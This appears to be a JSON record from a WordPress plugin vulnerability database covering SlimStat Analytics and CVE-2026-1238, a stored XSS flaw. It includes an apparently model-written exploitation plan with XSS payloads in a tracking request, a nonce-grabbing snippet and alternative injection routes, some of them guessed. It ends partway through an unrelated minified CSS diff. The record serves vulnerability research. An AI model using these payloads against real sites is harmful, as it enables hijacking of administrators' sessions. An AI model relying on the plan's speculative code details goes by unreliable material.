[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fpD7y6f7JFLPrN22fjNTNp-o_qf-SKLqUSmbfXzGyExc":3,"$fmSJNkcKR22omPsQyszfml-8o0o9s9faXmvfe8Y0NXfM":1490,"$fK7kxwZM8zEa9D5K0L0dJ61W3UhuyFyhriDQ75AcUqFg":1494},{"slug":4,"name":5,"version":6,"author":7,"author_profile":8,"description":9,"short_description":10,"active_installs":11,"downloaded":12,"rating":13,"num_ratings":14,"last_updated":15,"tested_up_to":16,"requires_at_least":17,"requires_php":18,"tags":19,"homepage":25,"download_link":26,"security_score":27,"vuln_count":28,"unpatched_count":29,"last_vuln_date":30,"fetched_at":31,"discovery_status":32,"vulnerabilities":33,"developer":387,"crawl_stats":39,"alternatives":395,"analysis":503,"fingerprints":1460},"wp-slimstat","SlimStat Analytics","5.4.9","VeronaLabs","https:\u002F\u002Fprofiles.wordpress.org\u002Fveronalabs\u002F","\u003Cp>Track returning customers and registered users, monitor Javascript events, detect intrusions, analyze email campaigns. Thousands of WordPress sites are already using it.\u003C\u002Fp>\n\u003Ch4>Main Features\u003C\u002Fh4>\n\u003Cul>\n\u003Cli>\u003Cstrong>Real-Time Access Log\u003C\u002Fstrong>: measure server latency, track page events, keep an eye on your bounce rate and much more.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Admin Bar Stats\u003C\u002Fstrong>: view real-time site stats directly from the WordPress admin bar — online visitors, pageviews, and top pages at a glance.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Shortcodes\u003C\u002Fstrong>: display reports in widgets or directly in posts and pages.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Customize Reports\u003C\u002Fstrong>: Customize all pages—Real-time, Overview, Audience, Site Analysis, and Traffic Sources—to fit your needs easily!\u003C\u002Fli>\n\u003Cli>\u003Cstrong>GDPR\u003C\u002Fstrong>: fully compliant with GDPR European law. Integrates seamlessly with WP Consent API. Consent banner translatable with WPML and Polylang.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Filters\u003C\u002Fstrong>: exclude users from statistics collection based on various criteria, including user roles, common robots, IP subnets, admin pages, country, etc.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Export to Excel\u003C\u002Fstrong>: download your reports as CSV files, generate user heatmaps or get daily emails right in your mailbox (via Pro).\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Cache\u003C\u002Fstrong>: compatible with W3 Total Cache, WP SuperCache, CloudFlare and most caching plugins.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Privacy\u003C\u002Fstrong>: hash IP addresses to protect your users’ privacy.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Geolocation\u003C\u002Fstrong>: identify your visitors by city and country, browser type and operating system (courtesy of \u003Ca href=\"https:\u002F\u002Fwww.maxmind.com\u002F\" rel=\"nofollow ugc\">MaxMind\u003C\u002Fa> and \u003Ca href=\"https:\u002F\u002Fbrowscap.org\" rel=\"nofollow ugc\">Browscap\u003C\u002Fa>).\u003C\u002Fli>\n\u003Cli>\u003Cstrong>World Map\u003C\u002Fstrong>: see where your visitors are coming from, even on your mobile device (courtesy of \u003Ca href=\"https:\u002F\u002Fgithub.com\u002F10bestdesign\u002Fjqvmap\" rel=\"nofollow ugc\">JQVMap\u003C\u002Fa>).\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch4>Pro Pack Features\u003C\u002Fh4>\n\u003Cul>\n\u003Cli>\u003Cstrong>Network Analytics\u003C\u002Fstrong>: Enable a network-wide view of your reports and settings.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Email Reports\u003C\u002Fstrong>: Receive your reports directly in your mailbox with customizable column mappings and HTML tables.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Export to Excel\u003C\u002Fstrong>: Download your reports as CSV files.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Heatmap\u003C\u002Fstrong>: Display a heatmap layer of the most clicked areas on your website.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>User Overview\u003C\u002Fstrong>: Monitor your registered users by tracking their activities and time on site.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>User Avatars\u003C\u002Fstrong>: Gravatar integration in the User Overview report for quick visitor identification.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>MaxMind Integration\u003C\u002Fstrong>: Connect to MaxMind’s Geolocation API to retrieve detailed information about your visitors.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Custom DB\u003C\u002Fstrong>: Use an external database to store all the information about your visitors.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Extended Overview\u003C\u002Fstrong>: Add custom columns to the User Overview widget and export file.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch4>Requirements\u003C\u002Fh4>\n\u003Cul>\n\u003Cli>WordPress 5.6+\u003C\u002Fli>\n\u003Cli>PHP 7.4+\u003C\u002Fli>\n\u003Cli>MySQL 5.0.3+\u003C\u002Fli>\n\u003Cli>At least 5 MB of free web space (240 MB if you plan on using the external libraries for geolocation and browser detection)\u003C\u002Fli>\n\u003Cli>At least 10 MB of free DB space\u003C\u002Fli>\n\u003Cli>At least 32 Mb of free PHP memory for the tracker (peak memory usage)\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>Please note\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>If you decide to uninstall Slimstat Analytics, all the stats will be \u003Cstrong>PERMANENTLY\u003C\u002Fstrong> deleted from your database. Make sure to setup a database backup (wp_slim_*) to avoid losing your data.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch4>Report Bugs\u003C\u002Fh4>\n\u003Cp>Having trouble with a bug? Please \u003Ca href=\"https:\u002F\u002Fgithub.com\u002Fwp-slimstat\u002Fwp-slimstat\u002Fissues\u002Fnew\" rel=\"nofollow ugc\">create an issue\u003C\u002Fa> on GitHub. Kindly note that \u003Ca href=\"https:\u002F\u002Fgithub.com\u002Fwp-slimstat\u002Fwp-slimstat\" rel=\"nofollow ugc\">GitHub\u003C\u002Fa> is exclusively for bug reports; other inquiries will be closed.\u003C\u002Fp>\n\u003Cp>For security vulnerabilities, please report them through the \u003Ca href=\"https:\u002F\u002Fpatchstack.com\u002Fdatabase\u002Fwordpress\u002Fplugin\u002Fwp-slimstat\u002Fvdp\" rel=\"nofollow ugc\">Patchstack Vulnerability Disclosure Program\u003C\u002Fa>. The Patchstack team will validate, triage, and handle any security issues.\u003C\u002Fp>\n","The leading web analytics plugin for WordPress",80000,7116699,96,817,"2026-04-03T17:44:00.000Z","6.9.4","5.6","7.4",[20,21,22,23,24],"analytics","geolocation","reports","statistics","tracking","https:\u002F\u002Fwp-slimstat.com\u002F","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.5.4.9.zip",88,24,0,"2026-03-18 00:00:00","2026-04-16T10:56:18.058Z","no_bundle",[34,63,90,117,136,154,165,177,192,207,217,231,244,257,265,277,289,301,311,325,337,349,363,375],{"id":35,"url_slug":36,"title":37,"description":38,"plugin_slug":4,"theme_slug":39,"affected_versions":40,"patched_in_version":41,"severity":42,"cvss_score":43,"cvss_vector":44,"vuln_type":45,"published_date":30,"updated_date":46,"references":47,"days_to_patch":49,"patch_diff_files":50,"patch_trac_url":39,"research_status":53,"research_verified":54,"research_rounds_completed":55,"research_plan":56,"research_summary":57,"research_vulnerable_code":39,"research_fix_diff":58,"research_exploit_outline":59,"research_model_used":60,"research_started_at":61,"research_completed_at":62,"research_error":39,"poc_status":39,"poc_video_id":39,"poc_summary":39,"poc_steps":39,"poc_tested_at":39,"poc_wp_version":39,"poc_php_version":39,"poc_playwright_script":39,"poc_exploit_code":39,"poc_has_trace":54,"poc_model_used":39,"poc_verification_depth":39},"CVE-2026-1238","slimstat-analytics-unauthenticated-stored-cross-site-scripting-via-fh","SlimStat Analytics \u003C= 5.3.5 - Unauthenticated Stored Cross-Site Scripting via 'fh'","The SlimStat Analytics plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'fh' (fingerprint) parameter in all versions up to, and including, 5.3.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.",null,"\u003C=5.3.5","5.4.0","high",7.2,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-03-19 04:27:30",[48],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fe991fbdf-8e26-4d2e-8e3b-c8990914dcad?source=api-prod",1,[51,52],"CHANGELOG.md","admin\u002Fassets\u002Fcss\u002Fadmin.css","researched",false,3,"# Exploitation Research Plan: CVE-2026-1238 (SlimStat Analytics Stored XSS)\n\n## 1. Vulnerability Summary\nThe **SlimStat Analytics** plugin (\u003C= 5.3.5) is vulnerable to **Unauthenticated Stored Cross-Site Scripting (XSS)**. The vulnerability occurs because the plugin collects a visitor's browser \"fingerprint\" via the `fh` parameter during tracking and stores it in the database (typically in the `wp_slimstat` table) without sufficient sanitization. When an administrator views the \"Access Log\" or \"Reports\" in the WordPress dashboard, this unsanitized fingerprint is rendered, executing any injected arbitrary JavaScript.\n\n## 2. Attack Vector Analysis\n- **Endpoint**: `wp-admin\u002Fadmin-ajax.php` (for AJAX tracking) or `wp-json\u002Fwp-slimstat\u002Fv1\u002Ftrack` (for REST tracking).\n- **Action**: `slimstat_track` (AJAX) or the REST API tracking route.\n- **Vulnerable Parameter**: `fh` (fingerprint hash).\n- **Authentication**: Unauthenticated (PR:N).\n- **Preconditions**: The plugin must be active. By default, SlimStat tracks all visitors.\n\n## 3. Code Flow\n1.  **Entry Point**: A visitor (attacker) sends a request to the tracking endpoint.\n2.  **Tracking Logic**: The plugin processes the tracking request. In version 5.3.x, this is handled by the tracking class (likely `SlimStat_Tracker` or similar).\n3.  **Data Extraction**: The plugin retrieves parameters like `fh`, `sw` (screen width), `sh` (screen height), and `pl` (page location) from the request.\n4.  **Database Sink**: The value of `fh` is passed into a database insert query (e.g., `$wpdb->insert`) into the `{prefix}slimstat` table. \n5.  **Rendering (Admin Context)**: When an admin navigates to **SlimStat > Access Log**, the plugin retrieves entries from the database.\n6.  **XSS Trigger**: The `fingerprint` column (populated by `fh`) is echoed in the \"Access Log\" table or a tooltip without using `esc_html()` or `esc_attr()`.\n\n## 4. Nonce Acquisition Strategy\nSlimStat often requires a nonce for tracking requests to prevent spam, even for unauthenticated visitors.\n\n1.  **Identify Shortcode**: SlimStat usually enqueues its tracking script on all frontend pages by default. No specific shortcode is needed, but the homepage is the best target.\n2.  **Localize Script**: The plugin uses `wp_localize_script` to pass the tracking configuration to `wp-slimstat.js`.\n3.  **JS Variable**: The data is typically stored in a global object. Based on common SlimStat patterns, it is likely `SlimStatParams`.\n4.  **Extraction Procedure**:\n    - Use `browser_navigate` to the WordPress homepage.\n    - Use `browser_eval` to extract the nonce:\n      ```javascript\n      \u002F\u002F Strategy: Check for common SlimStat localization objects\n      const nonce = window.SlimStatParams?.ajax_nonce || window.SlimStatParams?.nonce;\n      return nonce;\n      ```\n\n## 5. Exploitation Strategy\n### Step 1: Data Collection\nNavigate to the homepage and extract the tracking endpoint URL and the nonce.\n\n### Step 2: Payload Injection\nSend a POST request to the tracking endpoint. \n\n- **URL**: `http:\u002F\u002F\u003Ctarget>\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Method**: POST\n- **Headers**: `Content-Type: application\u002Fx-www-form-urlencoded`\n- **Body**:\n    ```text\n    action=slimstat_track&fh=\u003Cimg src=x onerror=alert(document.domain)>&nonce=\u003CNONCE>&sw=1920&sh=1080\n    ```\n    *Note: If the REST API tracker is enabled, the request would be sent to `wp-json\u002Fwp-slimstat\u002Fv1\u002Ftrack` with JSON data.*\n\n### Step 3: Triggering the XSS\nLog in as an Administrator and navigate to the Access Log.\n- **URL**: `http:\u002F\u002F\u003Ctarget>\u002Fwp-admin\u002Fadmin.php?page=slimstat-access-log`\n\n## 6. Test Data Setup\n1.  **Install Plugin**: Install and activate SlimStat Analytics version 5.3.5.\n2.  **Standard Configuration**: Ensure the plugin is tracking (enabled by default).\n3.  **Public Page**: No specific setup needed, as tracking enqueues on the homepage.\n\n## 7. Expected Results\n- The tracking request should return a `200 OK` or a success JSON response (e.g., `{\"success\": true}`).\n- The `wp_slimstat` database table will contain a new row where the `fingerprint` column contains the `\u003Cimg ...>` payload.\n- When the Admin visits the Access Log, an alert box showing the domain will appear.\n\n## 8. Verification Steps\n### Database Check (Post-Exploit)\nRun a WP-CLI command to verify the payload is stored:\n```bash\nwp db query \"SELECT fingerprint FROM $(wp db prefix)slimstat WHERE fingerprint LIKE '%onerror%';\"\n```\n\n### Response Check\nThe response from the `admin-ajax.php` tracking request should not indicate an error.\n```bash\n# Example success response structure\n{\"success\":true,\"data\":\"Tracking successful\"}\n```\n\n## 9. Alternative Approaches\n- **Base64 Encoding**: Some versions of SlimStat encode the tracking data in a single parameter (e.g., `data=...`). If the raw `fh` parameter is not accepted, capture a legitimate tracking request from the browser, decode the base64 `data` parameter, replace the `fh` value with the payload, re-encode, and replay.\n- **REST API Endpoint**: If `admin-ajax.php` is blocked or nonces fail, attempt to use the REST API endpoint:\n    - **URL**: `wp-json\u002Fwp-slimstat\u002Fv1\u002Ftrack`\n    - **Method**: POST\n    - **Body**: `{\"fh\": \"\u003Cscript>alert(1)\u003C\u002Fscript>\", \"pl\": \"http:\u002F\u002Ftarget\u002F\"}`\n- **Heartbeat Endpoint**: SlimStat also uses a heartbeat mechanism. The XSS might be injectable via the heartbeat parameters if they are stored similarly.","The SlimStat Analytics plugin for WordPress is vulnerable to unauthenticated Stored Cross-Site Scripting via the 'fh' (fingerprint) parameter in versions up to and including 5.3.5. This vulnerability exists because the plugin stores visitor fingerprint data without sanitization and fails to escape the data when rendering administrative reports, allowing for arbitrary code execution in the browser of a dashboard user.","Only in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fadmin\u002Fassets\u002Fcss: admin-bar-modal.css\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fadmin\u002Fassets\u002Fcss\u002Fadmin.css \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fadmin\u002Fassets\u002Fcss\u002Fadmin.css\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fadmin\u002Fassets\u002Fcss\u002Fadmin.css\t2025-09-09 12:32:56.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fadmin\u002Fassets\u002Fcss\u002Fadmin.css\t2026-03-08 13:29:08.000000000 +0000\n@@ -1 +1 @@\n-﻿.slimstat-postbox-custom-legend{display:flex;justify-content:flex-start;margin-top:20px;gap:40px;font-size:14px}#chartjs-tooltip{transition:0.3s all ease-in-out;pointer-events:none !important;background:white;z-index:9999;font:13px \"Open Sans\", sans-serif;border:solid 1px #e0e0e0;border-radius:12px;padding:10px 18px;margin:0;min-width:180px;max-width:320px;opacity:0.98;filter:drop-shadow(0 2px 8px rgba(60,60,90,0.1))}#chartjs-tooltip:hover{opacity:0.3}#chartjs-tooltip .slimstat-postbox-chart--item[data-index].active .tooltip-item-content{color:#000 !important}@media (max-width: 600px){#chartjs-tooltip{min-width:120px;max-width:98vw;font-size:12px;padding:7px 8px}}span.slimstat-toggle-prev-datasets{position:absolute;right:110px;max-width:80%;display:inline-block;color:#56585a;font-weight:600;vertical-align:top;font-size:12px;cursor:pointer;font-style:oblique;opacity:0.7}span.slimstat-toggle-prev-datasets.active{opacity:1}.slimstat-chart-controls{position:absolute;right:20px;text-align:right}.slimstat-chart-controls select{top:-3px;position:relative;display:inline-block;width:84px;min-height:11px !important;line-height:22px !important;border:none;text-decoration:underline dashed 1px}.slimstat-postbox-chart--items{display:flex;column-gap:25px;row-gap:20px;margin-bottom:5px;flex-wrap:wrap;padding:0px 0px 0px 20px;align-items:baseline}@media (max-width: 550px){.slimstat-postbox-chart--items{column-gap:40px}}.slimstat-postbox-chart--item{display:flex;flex-direction:row;gap:8px;align-items:center;cursor:pointer}.slimstat-postbox-chart--item:not(:last-child){margin-bottom:5px}.slimstat-postbox-chart--item.slimstat-postbox-chart--item-hidden{opacity:0.5}.slimstat-postbox-chart--item>span{font-size:13px;font-style:italic;font-weight:400;line-height:15.23px;color:#56585a;text-transform:capitalize}.slimstat-postbox-chart--item>span.slimstat-postbox-chart--item-label{font-weight:500;font-size:12px;font-style:italic}.slimstat-postbox-chart--item .slimstat-postbox-chart--item--color{display:inline-flex;width:15px;border-radius:2px;height:5px;margin-right:4px}.slimstat-postbox-chart--item .slimstat-postbox-chart--item--prev{font-size:9px;color:#616060;font-weight:bold;letter-spacing:-0.5px;margin:0 3px;top:-1px;position:relative}.slimstat-postbox-chart--item>div{display:flex;gap:16px;align-items:center;cursor:pointer}body.index-php #dashboard-widgets-wrap .postbox .slimstat-tooltip-trigger.corner.slimstat-toggle-prev-datasets{display:block;float:none;cursor:help;width:120px !important;max-width:120px !important;position:relative;left:unset;right:unset;text-align:left;min-width:200px !important;margin:5px 20px;margin-bottom:10px}body.index-php .slimstat-chart-wrap{max-width:100% !important;width:100%;aspect-ratio:16\u002F7;height:auto}body.index-php .inside:has(.slimstat-postbox-chart--canvas){height:auto !important;min-height:180px;max-height:none;margin-bottom:20px !important}body.index-php .slimstat-postbox-chart--canvas{width:100% !important;max-width:100%;min-width:100px;aspect-ratio:16\u002F7;height:auto !important;min-height:120px;max-height:60vw;border-radius:7px;margin:0 auto 8px auto;box-shadow:0 1px 4px rgba(60,60,90,0.04);display:block}body.index-php .slimstat-postbox-custom-legend,body.index-php .slimstat-postbox-chart--items{flex-direction:row;flex-wrap:wrap;gap:12px;column-gap:12px;row-gap:8px;padding-left:0;overflow-x:auto;font-size:13px;width:100%;box-sizing:border-box;justify-content:start;margin:5px 20px}body.index-php .slimstat-postbox-chart--item{padding:3px 7px;font-size:12px;border-radius:5px;margin-bottom:2px}body.index-php .slimstat-chart-controls{right:10px;position:absolute;display:inline-block;width:80px;text-align:left;left:unset}body.index-php .slimstat-chart-controls select{width:90px;font-size:12px;padding:1px 4px;border-radius:5px}@media (max-width: 900px){body.index-php .slimstat-postbox-chart--canvas{aspect-ratio:16\u002F10;min-height:90px;max-height:50vw}}@media (max-width: 600px){body.index-php .slimstat-postbox-custom-legend,body.index-php .slimstat-postbox-chart--items{flex-direction:column;gap:8px;column-gap:8px;row-gap:6px;font-size:12px;width:100%}body.index-php .slimstat-postbox-chart--canvas{min-width:80px;aspect-ratio:16\u002F12;min-height:60px;max-height:40vw;border-radius:5px}body.index-php .slimstat-chart-wrap{aspect-ratio:16\u002F12;min-height:60px}}@media (max-width: 400px){body.index-php .slimstat-postbox-chart--canvas{min-width:60px;min-height:40px;max-height:30vw}body.index-php .slimstat-chart-wrap{min-height:40px}}[dir=\"rtl\"] .slimstat-postbox-custom-legend,.rtl .slimstat-postbox-custom-legend{flex-direction:row-reverse;justify-content:flex-end;gap:40px;text-align:right}[dir=\"rtl\"] .slimstat-chart-controls,.rtl .slimstat-chart-controls{right:auto;left:20px;text-align:left}[dir=\"rtl\"] #chartjs-tooltip,.rtl #chartjs-tooltip{direction:rtl;text-align:right;font-family:\"Open Sans\", sans-serif !important}[dir=\"rtl\"] .slimstat-postbox-custom-legend,.rtl .slimstat-postbox-custom-legend,[dir=\"rtl\"] .slimstat-postbox-chart--items,.rtl .slimstat-postbox-chart--items{direction:rtl;text-align:right;font-family:\"Open Sans\", sans-serif !important}[dir=\"rtl\"] .slimstat-postbox-chart--item,.rtl .slimstat-postbox-chart--item{direction:rtl;text-align:right;font-family:\"Open Sans\", sans-serif !important}[dir=\"rtl\"] .tooltip-item-title,.rtl .tooltip-item-title,[dir=\"rtl\"] .tooltip-item-content,.rtl .tooltip-item-content{direction:rtl;text-align:right;font-family:\"Open Sans\", sans-serif !important}[id^=\"slim_\"] .inside:has(.slimstat-postbox-chart--canvas){margin-bottom:20px !important;height:265px !important}[id^=\"slim_\"] .inside:has(.slimstat-postbox-chart--canvas) .slimstat-postbox-chart--canvas{height:240px !important;width:100% !important;min-height:240px !important;max-height:240px !important}.chart-placeholder{height:280px;overflow:hidden}[dir=\"rtl\"] #chartjs-tooltip table,.rtl #chartjs-tooltip table{direction:rtl;text-align:right}[dir=\"rtl\"] #chartjs-tooltip tr.slimstat-postbox-chart--item td,.rtl #chartjs-tooltip tr.slimstat-postbox-chart--item td{padding-right:0;padding-left:8px}[dir=\"rtl\"] .slimstat-postbox-chart--item,.rtl .slimstat-postbox-chart--item{text-align:right;gap:8px}[dir=\"rtl\"] #chartjs-tooltip tr.slimstat-postbox-chart--item{flex-direction:unset !important}[dir=\"rtl\"] .slimstat-toggle-prev-datasets{left:120px !important;right:unset;direction:ltr}[dir=\"rtl\"] .slimstat-postbox-chart--items{padding:0px 20px 0px 20px}[dir=\"rtl\"] .slimstat-postbox-chart--item>span,.rtl .slimstat-postbox-chart--item>span{text-align:right}[dir=\"rtl\"] .slimstat-postbox-chart--item .slimstat-postbox-chart--item--color,.rtl .slimstat-postbox-chart--item .slimstat-postbox-chart--item--color{margin-left:0px !important;margin-right:10px !important}[dir=\"rtl\"] #chartjs-tooltip .slimstat-postbox-chart--item .slimstat-postbox-chart--item--color,.rtl #chartjs-tooltip .slimstat-postbox-chart--item .slimstat-postbox-chart--item--color{margin-left:10px !important;margin-right:10px !important}[dir=\"rtl\"] .slimstat-postbox-chart--item:not(:first-child){margin-bottom:0px}[dir=\"rtl\"] .slimstat-postbox-chart--item:not(:last-child){margin-bottom:0px}[dir=\"rtl\"] .slimstat-postbox-chart--item .slimstat-postbox-chart--item--prev,.rtl .slimstat-postbox-chart--item .slimstat-postbox-chart--item--prev{margin:0 3px 0 0}[dir=\"rtl\"] .tooltip-item-title,.rtl .tooltip-item-title{text-align:right}[dir=\"rtl\"] .tooltip-item-content,.rtl .tooltip-item-content{direction:rtl;text-align:right}:root{--box-bar-color: #eff6ff}body.toplevel_page_slimview1,body.slimstat_page_slimview2,body.slimstat_page_slimview3,body.slimstat_page_slimview4,body.slimstat_page_slimview5,body.slimstat_page_slimconfig,body.slimstat_page_slimpro,body.slimstat_page_slimlayout{background:#f5f6fa !important}#slimstat-load-saved-filters{margin:0 5px !important}body.index-php .slimstat-tooltip-bar-wrap{margin:0 5px !important}body.index-php .slimstat-tooltip-trigger:has(.slimstat-tooltip-bar-wrap){border:none !important}body.index-php span.slimstat-tooltip-bar{display:block;height:100%;position:absolute !important;top:0;left:0;background-color:var(--box-bar-color);border-radius:6px}body.index-php .postbox p.slimstat-tooltip-trigger{margin-bottom:4px;margin-top:4px}body.index-php .slimstat-browser-icon,body.index-php span.slimstat-flag-container{position:relative !important;width:18px;height:auto !important;float:left !important;margin:0px 10px 0px 0px;transform:translateY(1px);border-radius:60px}body.index-php .slimstat-author-link img{position:relative !important;width:18px;height:auto !important;float:left !important;margin:0px 10px 0px 0px;transform:translateY(1px);border-radius:60px}body.index-php .slimstat-tooltip-trigger .slimstat-tooltip-bar-wrap{z-index:0 !important;position:absolute;display:block;width:calc(100% - 30px);height:100%;top:0;left:0;margin:0px 15px;box-sizing:border-box}body.index-php .slimstat-tooltip-trigger *{z-index:2 !important;position:relative}body.index-php .slimstat-tooltip-trigger a{max-width:80%;display:inline-block;color:#202224;font-weight:600;vertical-align:middle;font-size:12px}body.index-php .inside:has(.map-container){height:auto !important}body.index-php .map-container{display:flex;flex-wrap:wrap;padding:0px 20px;height:720px !important}body.index-php #map_slim_p6_01{width:100%;height:395px;min-height:395px;flex:1}@media (max-width: 768px){body.index-php #map_slim_p6_01{height:310px;min-height:310px;max-height:310px}}body.index-php .top-countries-wrap{min-width:370px;max-width:370px;margin-left:0px;display:flex;justify-content:center}@media (max-width: 768px){body.index-php .top-countries-wrap{margin-left:0;min-width:100%;max-width:100%}}body.index-php .top-countries{flex:1}body.index-php .top-countries h4{font-weight:700;font-size:14px;line-height:100%;letter-spacing:-0.43px}body.index-php .country-bar{display:flex;align-items:center;margin-bottom:20px;position:relative;height:36px}body.index-php .country-bar .country-flag-container{width:24px;height:24px;border-radius:100px;overflow:hidden;margin:0px 10px 0 0px;display:inline-block;min-width:24px}body.index-php .country-bar strong{font-weight:700;font-size:14px;line-height:100%;letter-spacing:0px;vertical-align:middle;position:absolute;top:3px;left:43px;color:#202224}body.index-php .country-bar span{color:#202224;font-weight:800;font-size:12px;line-height:100%;letter-spacing:0px;vertical-align:middle;margin-left:5px;margin-top:23px}body.index-php .country-flag{height:auto;transform:translateX(-13%)}body.index-php .bar-container{background-color:#e5e6e9;height:8px;width:100%;margin-left:10px;border-radius:4px;margin-top:25px;overflow:hidden}body.index-php .bar-fill{height:100%;background-color:#e7294b}body.index-php .map-container{flex-direction:column}body.index-php .top-countries{margin-left:0;margin-top:20px}[id^=\"slim_\"] .inside:has(.slimstat-postbox-chart--canvas){margin-bottom:20px !important;height:265px !important}[id^=\"slim_\"] .inside:has(.slimstat-postbox-chart--canvas) .slimstat-postbox-chart--canvas{height:240px !important;width:100% !important;min-height:240px !important;max-height:240px !important}#slim_p8_01 .inside,#slim_p8_02 .inside,.report-pages-by-user .inside{margin-bottom:10px !important}#slim_p8_01 .pagination,#slim_p8_02 .pagination,.report-pages-by-user .pagination{position:relative !important}.wrap.slimstat{overflow-x:hidden !important}.wrap.slimstat .postbox:has(p.loading) a.refresh svg{animation:spin 1s linear infinite}.wrap.slimstat .map-container{display:flex;flex-wrap:wrap;padding:0px 20px}@media (min-width: 782px){.wrap.slimstat .map-container{overflow:hidden;height:370px}}.wrap.slimstat #map_slim_p6_01{width:100%;height:395px;min-height:395px;flex:1}@media (max-width: 768px){.wrap.slimstat #map_slim_p6_01{height:310px;min-height:310px;max-height:310px}}.wrap.slimstat .top-countries-wrap{min-width:430px;max-width:430px;margin-left:30px;display:flex;justify-content:center}@media (max-width: 768px){.wrap.slimstat .top-countries-wrap{margin-left:0;min-width:100%;max-width:100%}}.wrap.slimstat .top-countries{flex:1}.wrap.slimstat .top-countries h4{font-weight:700;font-size:14px;line-height:100%;letter-spacing:-0.43px}.wrap.slimstat .country-bar{display:flex;align-items:center;margin-bottom:20px;position:relative;height:36px}.wrap.slimstat .country-bar .country-flag-container{width:24px;height:24px;border-radius:100px;overflow:hidden;margin:0px 10px 0 0px;display:inline-block;min-width:24px}.wrap.slimstat .country-bar strong{font-weight:700;font-size:14px;line-height:100%;letter-spacing:0px;vertical-align:middle;position:absolute;top:3px;left:43px;color:#202224}.wrap.slimstat .country-bar span{color:#202224;font-weight:800;font-size:12px;line-height:100%;letter-spacing:0px;vertical-align:middle;margin-left:5px;margin-top:23px}.wrap.slimstat .country-flag{height:auto;transform:translateX(-13%)}.wrap.slimstat .bar-container{background-color:#e5e6e9;height:8px;width:100%;margin-left:10px;border-radius:4px;margin-top:25px;overflow:hidden}.wrap.slimstat .bar-fill{height:100%;background-color:#e7294b}@media (max-width: 768px){.wrap.slimstat .map-container{flex-direction:column}.wrap.slimstat .top-countries{margin-left:0;margin-top:20px}}body.index-php .jqvmap-label,body.toplevel_page_slimview1 .jqvmap-label,body.slimstat_page_slimview2 .jqvmap-label,body.slimstat_page_slimview3 .jqvmap-label,body.slimstat_page_slimview4 .jqvmap-label,body.slimstat_page_slimview5 .jqvmap-label,body.slimstat_page_slimconfig .jqvmap-label,body.slimstat_page_slimpro .jqvmap-label,body.slimstat_page_slimlayout .jqvmap-label{z-index:999999;position:absolute !important;background-color:#2b2b2b !important;color:#ffffff !important;padding:10px !important;transform:translateY(-15px) translateX(50%) !important;max-width:280px !important;min-width:50px !important;font-size:1em !important;line-height:1.5em !important;direction:ltr !important;border-radius:8px !important;backdrop-filter:blur(34px) !important;box-shadow:0px 2px 4px 0px #0000000a !important}body.index-php .jqvmap-label h3,body.toplevel_page_slimview1 .jqvmap-label h3,body.slimstat_page_slimview2 .jqvmap-label h3,body.slimstat_page_slimview3 .jqvmap-label h3,body.slimstat_page_slimview4 .jqvmap-label h3,body.slimstat_page_slimview5 .jqvmap-label h3,body.slimstat_page_slimconfig .jqvmap-label h3,body.slimstat_page_slimpro .jqvmap-label h3,body.slimstat_page_slimlayout .jqvmap-label h3{margin:0 !important;font-size:16px !important;line-height:100% !important;font-weight:bold !important;background-color:#2b2b2b !important;color:#ffffff !important;letter-spacing:1px !important}body.index-php .jqvmap-label p,body.toplevel_page_slimview1 .jqvmap-label p,body.slimstat_page_slimview2 .jqvmap-label p,body.slimstat_page_slimview3 .jqvmap-label p,body.slimstat_page_slimview4 .jqvmap-label p,body.slimstat_page_slimview5 .jqvmap-label p,body.slimstat_page_slimconfig .jqvmap-label p,body.slimstat_page_slimpro .jqvmap-label p,body.slimstat_page_slimlayout .jqvmap-label p{font-family:Inter !important;font-weight:600 !important;font-size:12px !important;line-height:100% !important;letter-spacing:1px !important;background-color:#2b2b2b !important;color:#ffffff !important}body.index-php .jqvmap-label canvas,body.toplevel_page_slimview1 .jqvmap-label canvas,body.slimstat_page_slimview2 .jqvmap-label canvas,body.slimstat_page_slimview3 .jqvmap-label canvas,body.slimstat_page_slimview4 .jqvmap-label canvas,body.slimstat_page_slimview5 .jqvmap-label canvas,body.slimstat_page_slimconfig 